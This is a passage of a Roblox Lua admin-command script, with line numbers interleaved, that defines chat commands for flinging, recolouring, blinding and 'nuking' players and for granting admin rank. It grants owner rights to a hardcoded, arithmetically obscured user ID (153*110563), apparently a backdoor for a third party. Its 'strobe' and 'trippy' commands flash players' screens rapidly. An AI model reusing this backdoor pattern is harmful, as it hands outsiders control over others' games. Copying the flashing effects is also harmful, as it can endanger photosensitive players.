v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1752
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1753
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1754
end
1755
end))
1756
end
1757
end
1758
1759
if msg:lower():sub(1,8) == "creeper " then
1760
local plrz = GetPlr(plr, msg:lower():sub(9))
1761
for i, v in pairs(plrz) do
1762
coroutine.resume(coroutine.create(function()
1763
if v and v.Character and v.Character:findFirstChild("Torso") then
1764
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1765
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1766
v.Character.Torso.Transparency = 0
1767
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1768
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(90),0)
1769
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(0,-1.5,-.5) * CFrame.Angles(0,math.rad(-90),0)
1770
v.Character.Torso["Right Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(90),0)
1771
v.Character.Torso["Left Hip"].C0 = CFrame.new(0,-1,.5) * CFrame.Angles(0,math.rad(-90),0)
1772
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("Bright green") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("Bright green") end end
1773
end
1774
end))
1775
end
1776
end
1777
1778
if msg:lower():sub(1,10) == "uncreeper " then
1779
local plrz = GetPlr(plr, msg:lower():sub(11))
1780
for i, v in pairs(plrz) do
1781
coroutine.resume(coroutine.create(function()
1782
if v and v.Character and v.Character:findFirstChild("Torso") then
1783
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
1784
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
1785
v.Character.Torso.Transparency = 0
1786
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
1787
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
1788
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
1789
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
1790
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
1791
for a, part in pairs(v.Character:children()) do if part:IsA("BasePart") then part.BrickColor = BrickColor.new("White") if part.Name == "FAKETORSO" then part:Destroy() end elseif part:findFirstChild("NameTag") then part.Head.BrickColor = BrickColor.new("White") end end
1792
end
1793
end))
1794
end
1795
end
1796
1797
if msg:lower():sub(1,8) == "bighead " then
1798
local plrz = GetPlr(plr, msg:lower():sub(9))
1799
for i, v in pairs(plrz) do
1800
coroutine.resume(coroutine.create(function()
1801
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(3,3,3) v.Character.Torso.Neck.C0 = CFrame.new(0,1.9,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1802
end))
1803
end
1804
end
1805
1806
if msg:lower():sub(1,9) == "minihead " then
1807
local plrz = GetPlr(plr, msg:lower():sub(10))
1808
for i, v in pairs(plrz) do
1809
coroutine.resume(coroutine.create(function()
1810
if v and v.Character then v.Character.Head.Mesh.Scale = Vector3.new(.75,.75,.75) v.Character.Torso.Neck.C0 = CFrame.new(0,.8,0) * CFrame.Angles(math.rad(90),math.rad(180),0) end
1811
end))
1812
end
1813
end
1814
1815
if msg:lower():sub(1,6) == "fling " then
1816
local plrz = GetPlr(plr, msg:lower():sub(7))
1817
for i, v in pairs(plrz) do
1818
coroutine.resume(coroutine.create(function()
1819
if v and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then 
1820
local xran local zran
1821
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
1822
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
1823
v.Character.Humanoid.Sit = true v.Character.Torso.Velocity = Vector3.new(0,0,0)
1824
local frc = Instance.new("BodyForce", v.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
1825
end
1826
end))
1827
end
1828
end
1829
1830
if msg:lower():sub(1,8) == "seizure " then
1831
local plrz = GetPlr(plr, msg:lower():sub(9))
1832
for i, v in pairs(plrz) do
1833
coroutine.resume(coroutine.create(function()
1834
if v and v.Character then 
1835
v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(math.rad(90),0,0) 
1836
local cl = script.ScriptBase:Clone() cl.Name = "SeizureBase" cl.Code.Value = [[repeat wait() script.Parent.Humanoid.PlatformStand = true script.Parent.Torso.Velocity = Vector3.new(math.random(-10,10),-5,math.random(-10,10)) script.Parent.Torso.RotVelocity = Vector3.new(math.random(-5,5),math.random(-5,5),math.random(-5,5)) until nil]]
1837
table.insert(objects, cl) cl.Parent = v.Character cl.Disabled = false
1838
end
1839
end))
1840
end
1841
end
1842
1843
if msg:lower():sub(1,10) == "unseizure " then
1844
local plrz = GetPlr(plr, msg:lower():sub(11))
1845
for i, v in pairs(plrz) do
1846
coroutine.resume(coroutine.create(function()
1847
if v and v.Character then 
1848
for i,v in pairs(v.Character:children()) do if v.Name == "SeizureBase" then v:Destroy() end end
1849
wait(.1) v.Character.Humanoid.PlatformStand = false
1850
end
1851
end))
1852
end
1853
end
1854
1855
if msg:lower():sub(1,12) == "removelimbs " then
1856
local plrz = GetPlr(plr, msg:lower():sub(13))
1857
for i, v in pairs(plrz) do
1858
coroutine.resume(coroutine.create(function()
1859
if v and v.Character then 
1860
for a, obj in pairs(v.Character:children()) do 
1861
if obj:IsA("BasePart") and (obj.Name:find("Leg") or obj.Name:find("Arm")) then obj:Destroy() end
1862
end
1863
end
1864
end))
1865
end
1866
end
1867
1868
if msg:lower():sub(1,5) == "name " then
1869
local chk1 = msg:lower():sub(6):find(" ") + 5
1870
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1871
for i, v in pairs(plrz) do
1872
coroutine.resume(coroutine.create(function()
1873
if v and v.Character and v.Character:findFirstChild("Head") then 
1874
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1875
local char = v.Character
1876
local mod = Instance.new("Model", char) mod.Name = msg:sub(chk1+1)
1877
local cl = char.Head:Clone() cl.Parent = mod local hum = Instance.new("Humanoid", mod) hum.Name = "NameTag" hum.MaxHealth = 0 hum.Health = 0
1878
local weld = Instance.new("Weld", cl) weld.Part0 = cl weld.Part1 = char.Head
1879
char.Head.Transparency = 1
1880
end
1881
end))
1882
end
1883
end
1884
1885
if msg:lower():sub(1,7) == "unname " then
1886
local plrz = GetPlr(plr, msg:lower():sub(8))
1887
for i, v in pairs(plrz) do
1888
coroutine.resume(coroutine.create(function()
1889
if v and v.Character and v.Character:findFirstChild("Head") then 
1890
for a, mod in pairs(v.Character:children()) do if mod:findFirstChild("NameTag") then v.Character.Head.Transparency = 0 mod:Destroy() end end
1891
end
1892
end))
1893
end
1894
end
1895
1896
if msg:lower():sub(1,5) == "char " then
1897
local chk1 = msg:lower():sub(6):find(" ") + 5
1898
local plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
1899
for i, v in pairs(plrz) do
1900
coroutine.resume(coroutine.create(function()
1901
if v and v.Character then 
1902
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. msg:sub(chk1+1)
1903
v:LoadCharacter()
1904
end
1905
end))
1906
end
1907
end
1908
1909
if msg:lower():sub(1,7) == "unchar " then
1910
local plrz = GetPlr(plr, msg:lower():sub(8))
1911
for i, v in pairs(plrz) do
1912
coroutine.resume(coroutine.create(function()
1913
if v and v.Character then 
1914
v.CharacterAppearance = "http://www.roblox.com/asset/CharacterFetch.ashx?userId=" .. v.userId
1915
v:LoadCharacter()
1916
end
1917
end))
1918
end
1919
end
1920
1921
if msg:lower():sub(1,7) == "infect " then
1922
local plrz = GetPlr(plr, msg:lower():sub(8))
1923
for i, v in pairs(plrz) do
1924
coroutine.resume(coroutine.create(function()
1925
if v and v.Character then
1926
Infect(v.Character)
1927
end
1928
end))
1929
end
1930
end
1931
1932
if msg:lower():sub(1,11) == "rainbowify " then
1933
local plrz = GetPlr(plr, msg:lower():sub(12))
1934
for i, v in pairs(plrz) do
1935
coroutine.resume(coroutine.create(function()
1936
if v and v.Character and v.Character:findFirstChild("Torso") then 
1937
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1938
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1939
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1940
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) local clr = BrickColor.random() for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = clr v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = clr v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1941
cl.Parent = v.Character cl.Disabled = false
1942
end
1943
end))
1944
end
1945
end
1946
1947
if msg:lower():sub(1,9) == "flashify " then
1948
local plrz = GetPlr(plr, msg:lower():sub(10))
1949
for i, v in pairs(plrz) do
1950
coroutine.resume(coroutine.create(function()
1951
if v and v.Character and v.Character:findFirstChild("Torso") then 
1952
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1953
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1954
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1955
local cl = script.ScriptBase:Clone() cl.Name = "ify" cl.Code.Value = [[repeat wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Institutional white") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Institutional white") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end wait(1/44) for i, v in pairs(script.Parent:children()) do if v:IsA("BasePart") and (v.Name ~= "Head" or not v.Parent:findFirstChild("NameTag", true)) then v.BrickColor = BrickColor.new("Really black") v.Reflectance = 0 v.Transparency = 0 elseif v:findFirstChild("NameTag") then v.Head.BrickColor = BrickColor.new("Really black") v.Head.Reflectance = 0 v.Head.Transparency = 0 v.Parent.Head.Transparency = 1 end end until nil]]
1956
cl.Parent = v.Character cl.Disabled = false
1957
end
1958
end))
1959
end
1960
end
1961
1962
if msg:lower():sub(1,8) == "noobify " then
1963
local plrz = GetPlr(plr, msg:lower():sub(9))
1964
for i, v in pairs(plrz) do
1965
coroutine.resume(coroutine.create(function()
1966
if v and v.Character then
1967
Noobify(v.Character)
1968
end
1969
end))
1970
end
1971
end
1972
1973
if msg:lower():sub(1,9) == "ghostify " then
1974
local plrz = GetPlr(plr, msg:lower():sub(10))
1975
for i, v in pairs(plrz) do
1976
coroutine.resume(coroutine.create(function()
1977
if v and v.Character and v.Character:findFirstChild("Torso") then 
1978
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1979
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1980
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1981
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
1982
prt.Transparency = .5 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("Institutional white")
1983
if prt.Name:find("Leg") then prt.Transparency = 1 end
1984
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = .5 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("Institutional white")
1985
end end
1986
end
1987
end))
1988
end
1989
end
1990
1991
if msg:lower():sub(1,8) == "goldify " then
1992
local plrz = GetPlr(plr, msg:lower():sub(9))
1993
for i, v in pairs(plrz) do
1994
coroutine.resume(coroutine.create(function()
1995
if v and v.Character and v.Character:findFirstChild("Torso") then 
1996
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
1997
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
1998
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
1999
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
2000
prt.Transparency = 0 prt.Reflectance = .4 prt.BrickColor = BrickColor.new("Bright yellow")
2001
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = .4 prt.Head.BrickColor = BrickColor.new("Bright yellow")
2002
end end
2003
end
2004
end))
2005
end
2006
end
2007
2008
if msg:lower():sub(1,6) == "shiny " then
2009
local plrz = GetPlr(plr, msg:lower():sub(7))
2010
for i, v in pairs(plrz) do
2011
coroutine.resume(coroutine.create(function()
2012
if v and v.Character and v.Character:findFirstChild("Torso") then 
2013
if v.Character:findFirstChild("Shirt") then v.Character.Shirt.Parent = v.Character.Torso end
2014
if v.Character:findFirstChild("Pants") then v.Character.Pants.Parent = v.Character.Torso end
2015
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
2016
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
2017
prt.Transparency = 0 prt.Reflectance = 1 prt.BrickColor = BrickColor.new("Institutional white")
2018
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 1 prt.Head.BrickColor = BrickColor.new("Institutional white")
2019
end end
2020
end
2021
end))
2022
end
2023
end
2024
2025
if msg:lower():sub(1,7) == "normal " then
2026
local plrz = GetPlr(plr, msg:lower():sub(8))
2027
for i, v in pairs(plrz) do
2028
coroutine.resume(coroutine.create(function()
2029
if v and v.Character and v.Character:findFirstChild("Torso") then
2030
if v.Character:findFirstChild("Head") then v.Character.Head.Mesh.Scale = Vector3.new(1.25,1.25,1.25) end 
2031
if v.Character.Torso:findFirstChild("Shirt") then v.Character.Torso.Shirt.Parent = v.Character end
2032
if v.Character.Torso:findFirstChild("Pants") then v.Character.Torso.Pants.Parent = v.Character end
2033
v.Character.Torso.Transparency = 0
2034
v.Character.Torso.Neck.C0 = CFrame.new(0,1,0) * CFrame.Angles(math.rad(90),math.rad(180),0)
2035
v.Character.Torso["Right Shoulder"].C0 = CFrame.new(1,.5,0) * CFrame.Angles(0,math.rad(90),0)
2036
v.Character.Torso["Left Shoulder"].C0 = CFrame.new(-1,.5,0) * CFrame.Angles(0,math.rad(-90),0)
2037
v.Character.Torso["Right Hip"].C0 = CFrame.new(1,-1,0) * CFrame.Angles(0,math.rad(90),0)
2038
v.Character.Torso["Left Hip"].C0 = CFrame.new(-1,-1,0) * CFrame.Angles(0,math.rad(-90),0)
2039
for a, sc in pairs(v.Character:children()) do if sc.Name == "ify" then sc:Destroy() end end
2040
for a, prt in pairs(v.Character:children()) do if prt:IsA("BasePart") and (prt.Name ~= "Head" or not prt.Parent:findFirstChild("NameTag", true)) then 
2041
prt.Transparency = 0 prt.Reflectance = 0 prt.BrickColor = BrickColor.new("White")
2042
if prt.Name == "FAKETORSO" then prt:Destroy() end
2043
elseif prt:findFirstChild("NameTag") then prt.Head.Transparency = 0 prt.Head.Reflectance = 0 prt.Head.BrickColor = BrickColor.new("White")
2044
end end
2045
end
2046
end))
2047
end
2048
end
2049
2050
if msg:lower():sub(1,7) == "trippy " then
2051
local plrz = GetPlr(plr, msg:lower():sub(8))
2052
for i, v in pairs(plrz) do
2053
coroutine.resume(coroutine.create(function()
2054
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2055
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2056
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUITRIPPY"
2057
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2058
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(math.random(255)/255,math.random(255)/255,math.random(255)/255) until nil]] cl.Parent = scr cl.Disabled = false
2059
end
2060
end))
2061
end
2062
end
2063
2064
if msg:lower():sub(1,9) == "untrippy " then
2065
local plrz = GetPlr(plr, msg:lower():sub(10))
2066
for i, v in pairs(plrz) do
2067
coroutine.resume(coroutine.create(function()
2068
if v and v:findFirstChild("PlayerGui") then 
2069
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUITRIPPY" then g:Destroy() end end
2070
end
2071
end))
2072
end
2073
end
2074
2075
if msg:lower():sub(1,7) == "strobe " then
2076
local plrz = GetPlr(plr, msg:lower():sub(8))
2077
for i, v in pairs(plrz) do
2078
coroutine.resume(coroutine.create(function()
2079
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2080
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2081
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUISTROBE"
2082
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2083
local cl = script.ScriptBase:Clone() cl.Code.Value = [[repeat wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(1,1,1) wait(1/44) script.Parent.Frame.BackgroundColor3 = Color3.new(0,0,0) until nil]] cl.Parent = scr cl.Disabled = false
2084
end
2085
end))
2086
end
2087
end
2088
2089
if msg:lower():sub(1,9) == "unstrobe " then
2090
local plrz = GetPlr(plr, msg:lower():sub(10))
2091
for i, v in pairs(plrz) do
2092
coroutine.resume(coroutine.create(function()
2093
if v and v:findFirstChild("PlayerGui") then 
2094
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUISTROBE" then g:Destroy() end end
2095
end
2096
end))
2097
end
2098
end
2099
2100
if msg:lower():sub(1,6) == "blind " then
2101
local plrz = GetPlr(plr, msg:lower():sub(7))
2102
for i, v in pairs(plrz) do
2103
coroutine.resume(coroutine.create(function()
2104
if v and v:findFirstChild("PlayerGui") and not ChkAdmin(v.Name, false) then 
2105
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2106
local scr = Instance.new("ScreenGui", v.PlayerGui) scr.Name = "EFFECTGUIBLIND"
2107
local bg = Instance.new("Frame", scr) bg.BackgroundColor3 = Color3.new(0,0,0) bg.BackgroundTransparency = 0 bg.Size = UDim2.new(10,0,10,0) bg.Position = UDim2.new(-5,0,-5,0) bg.ZIndex = 10
2108
end
2109
end))
2110
end
2111
end
2112
2113
if msg:lower():sub(1,8) == "unblind " then
2114
local plrz = GetPlr(plr, msg:lower():sub(9))
2115
for i, v in pairs(plrz) do
2116
coroutine.resume(coroutine.create(function()
2117
if v and v:findFirstChild("PlayerGui") then 
2118
for a, g in pairs(v.PlayerGui:children()) do if g.Name == "EFFECTGUIBLIND" then g:Destroy() end end
2119
end
2120
end))
2121
end
2122
end
2123
2124
if msg:lower():sub(1,7) == "guifix " then
2125
local plrz = GetPlr(plr, msg:lower():sub(8))
2126
for i, v in pairs(plrz) do
2127
coroutine.resume(coroutine.create(function()
2128
if v and v:findFirstChild("PlayerGui") then 
2129
for a, g in pairs(v.PlayerGui:children()) do if g.Name:sub(1,9) == "EFFECTGUI" then g:Destroy() end end
2130
end
2131
end))
2132
end
2133
end
2134
2135
if msg:lower():sub(1,9) == "loopheal " then
2136
local plrz = GetPlr(plr, msg:lower():sub(10))
2137
for i, v in pairs(plrz) do
2138
if v then
2139
local cl = script.ScriptBase:Clone() cl.Name = "LoopHeal:"..v.Name cl.Code.Value = [[
2140
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2141
repeat wait()
2142
coroutine.resume(coroutine.create(function()
2143
if plr and plr.Character and plr.Character:findFirstChild("Humanoid") then 
2144
plr.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth
2145
plr.Character.Humanoid.Changed:connect(function() r.Character.Humanoid.Health = plr.Character.Humanoid.MaxHealth end)
2146
end
2147
end))
2148
until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2149
end
2150
end
2151
end
2152
2153
if msg:lower():sub(1,11) == "unloopheal " then
2154
local plrz = GetPlr(plr, msg:lower():sub(12))
2155
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopHeal:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2156
end
2157
2158
if msg:lower():sub(1,10) == "loopfling " then
2159
local plrz = GetPlr(plr, msg:lower():sub(11))
2160
for i, v in pairs(plrz) do
2161
if v then
2162
local cl = script.ScriptBase:Clone() cl.Name = "LoopFling:"..v.Name cl.Code.Value = [[
2163
local plr = game.Players:findFirstChild("]] .. v.Name .. [[")
2164
repeat
2165
coroutine.resume(coroutine.create(function()
2166
if plr and plr.Character and plr.Character:findFirstChild("Torso") and plr.Character:findFirstChild("Humanoid") then 
2167
local xran local zran
2168
repeat xran = math.random(-9999,9999) until math.abs(xran) >= 5555
2169
repeat zran = math.random(-9999,9999) until math.abs(zran) >= 5555
2170
plr.Character.Humanoid.Sit = true plr.Character.Torso.Velocity = Vector3.new(0,0,0)
2171
local frc = Instance.new("BodyForce", plr.Character.Torso) frc.Name = "BFRC" frc.force = Vector3.new(xran*4,9999*5,zran*4) game:service("Debris"):AddItem(frc,.1)
2172
end
2173
end))
2174
wait(2) until nil]] table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
2175
end
2176
end
2177
end
2178
2179
if msg:lower():sub(1,12) == "unloopfling " then
2180
local plrz = GetPlr(plr, msg:lower():sub(13))
2181
for i,v in pairs(plrz) do for q,sc in pairs(objects) do if sc.Name == "LoopFling:"..v.Name then sc:Destroy() table.remove(objects,q) end end end
2182
end
2183
	
2184
end
2185
2186
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId then
2187
2188
if msg:lower():sub(1,3) == "oa " then
2189
local plrz = GetPlr(plr, msg:lower():sub(4))
2190
for i, v in pairs(plrz) do
2191
coroutine.resume(coroutine.create(function()
2192
if v and not ChkOwner(v.Name) then table.insert(owners, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2193
end))
2194
end
2195
end
2196
2197
if msg:lower():sub(1,5) == "unoa " then
2198
for i = 1, #owners do
2199
coroutine.resume(coroutine.create(function()
2200
if msg:lower():sub(6) == "all" or owners[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(owners, i) end
2201
end))
2202
end
2203
end
2204
2205
if msg:lower() == "settings" then
2206
for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "SETTINGSGUI" then v:Destroy() end end
2207
local scr = Instance.new("ScreenGui",plr.PlayerGui) scr.Name = "SETTINGSGUI"
2208
local main = Instance.new("Frame", scr) main.Style = "RobloxRound" main.Size = UDim2.new(0,200,0,110) main.Position = UDim2.new(0.5,-100,.5,-55) main.ZIndex = 7 main.ClipsDescendants = true
2209
local title = Instance.new("TextLabel", main) title.BackgroundTransparency = 1 title.BorderSizePixel = 0 title.TextColor3 = Color3.new(1,1,1) title.Size = UDim2.new(1,0,0,15) title.TextStrokeColor3 = Color3.new(1,1,1) title.TextStrokeTransparency = .9 title.Text = "Settings" title.Font = "ArialBold" title.FontSize = "Size24" title.ZIndex = 8
2210
local s1 = Instance.new("TextLabel", main) s1.Position = UDim2.new(0,0,0,50) s1.Text = "Prefix:" s1.BackgroundTransparency = 1 s1.BorderSizePixel = 0 s1.TextColor3 = Color3.new(1,1,1) s1.Font = "ArialBold" s1.FontSize = "Size18" s1.TextStrokeColor3 = Color3.new(1,1,1) s1.TextStrokeTransparency = .9 s1.TextXAlignment = "Left" s1.ZIndex = 8
2211
local tb1 = Instance.new("TextBox", main) tb1.Position = UDim2.new(0,60,0,43) tb1.Size = UDim2.new(0,20,0,20) tb1.BackgroundTransparency = .8 tb1.BorderSizePixel = 1 tb1.BorderColor3 = Color3.new(1,1,1) tb1.TextColor3 = Color3.new(1,1,1) tb1.Font = "Arial" tb1.FontSize = "Size18" tb1.TextStrokeColor3 = Color3.new(1,1,1) tb1.TextStrokeTransparency = .9 tb1.TextYAlignment = "Top" tb1.ClipsDescendants = true tb1.ZIndex = 8
2212
local s2 = Instance.new("TextLabel", main) s2.Position = UDim2.new(0,0,0,80) s2.Text = "Fun Commands:" s2.BackgroundTransparency = 1 s2.BorderSizePixel = 0 s2.TextColor3 = Color3.new(1,1,1) s2.Font = "ArialBold" s2.FontSize = "Size18" s2.TextStrokeColor3 = Color3.new(1,1,1) s2.TextStrokeTransparency = .9 s2.TextXAlignment = "Left" s2.ZIndex = 8
2213
local cb1 = Instance.new("TextButton", main) cb1.Position = UDim2.new(0,135,0,73) cb1.Size = UDim2.new(0,20,0,20) cb1.BackgroundTransparency = .8 cb1.BorderSizePixel = 1 cb1.BorderColor3 = Color3.new(1,1,1) cb1.TextColor3 = Color3.new(1,1,1) cb1.Font = "Arial" cb1.FontSize = "Size18" cb1.TextStrokeColor3 = Color3.new(1,1,1) cb1.TextStrokeTransparency = .9 cb1.TextYAlignment = "Top" cb1.ZIndex = 8
2214
if FunCommands then cb1.Text = "X" else cb1.Text = "" end tb1.Text = prefix
2215
tb1.Changed:connect(function() if tb1.Text ~= prefix and tb1.Text ~= "" then prefix = tb1.Text:sub(1,1) end end)
2216
cb1.MouseButton1Down:connect(function() if FunCommands then FunCommands = false cb1.Text = "" else FunCommands = true cb1.Text = "X" end end)
2217
local cls = Instance.new("TextButton", main) cls.Style = "RobloxButtonDefault" cls.Size = UDim2.new(0,20,0,20) cls.Position = UDim2.new(1,-15,0,-5) cls.ZIndex = 10 cls.Font = "ArialBold" cls.FontSize = "Size18" cls.Text = "X" cls.TextColor3 = Color3.new(1,1,1) cls.MouseButton1Click:connect(function() scr:Destroy() end)
2218
end
2219
2220
end
2221
2222
2223
if plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.userId == game.CreatorId or ChkOwner(plr.Name:lower()) then
2224
2225
if msg:lower():sub(1,3) == "pa " then
2226
local plrz = GetPlr(plr, msg:lower():sub(4))
2227
for i, v in pairs(plrz) do
2228
coroutine.resume(coroutine.create(function()
2229
if v and not ChkAdmin(v.Name, true) then table.insert(admins, v.Name) coroutine.resume(coroutine.create(function() repeat wait() until v and v.Character and v:findFirstChild("PlayerGui") Message("Kohltastrophe", "You're an admin!", false, {v}) end)) end
2230
end))
2231
end
2232
end
2233
2234
if msg:lower():sub(1,5) == "unpa " then
2235
for i = 1, #admins do
2236
coroutine.resume(coroutine.create(function()
2237
if msg:lower():sub(6) == "all" or admins[i]:lower():find(msg:lower():sub(6)) == 1 then table.remove(admins, i) end
2238
end))
2239
end
2240
end
2241
2242
if msg:lower():sub(1,5) == "nuke " then
2243
local plrz = GetPlr(plr, msg:lower():sub(6))
2244
for i, v in pairs(plrz) do
2245
coroutine.resume(coroutine.create(function()
2246
if v and v.Character and v.Character:findFirstChild("Torso") then
2247
local p = Instance.new("Part",game.Workspace) table.insert(objects,p)
2248
p.Anchored = true
2249
p.CanCollide = false
2250
p.formFactor = "Symmetric"
2251
p.Shape = "Ball"
2252
p.Size = Vector3.new(1,1,1)
2253
p.BrickColor = BrickColor.new("New Yeller")
2254
p.Transparency = .5
2255
p.Reflectance = .2
2256
p.TopSurface = 0
2257
p.BottomSurface = 0
2258
p.Touched:connect(function(hit)
2259
if hit and hit.Parent then
2260
local ex = Instance.new("Explosion", game.Workspace)
2261
ex.Position = hit.Position
2262
ex.BlastRadius = 11
2263
ex.BlastPressure = math.huge
2264
end
2265
end)
2266
local cf = v.Character.Torso.CFrame
2267
p.CFrame = cf
2268
for i = 1, 333 do
2269
p.Size = p.Size + Vector3.new(3,3,3)
2270
p.CFrame = cf
2271
wait(1/44)
2272
end
2273
p:Destroy()
2274
end
2275
end))
2276
end
2277
end
2278
2279
end
2280
2281
2282
if ChkAdmin(plr.Name, true) or ChkOwner(plr.Name) or plr.userId == game.CreatorId or plr.Name:lower() == nfs:lower() or plr.userId == (153*110563) or plr.Name:lower() == nfs then
2283
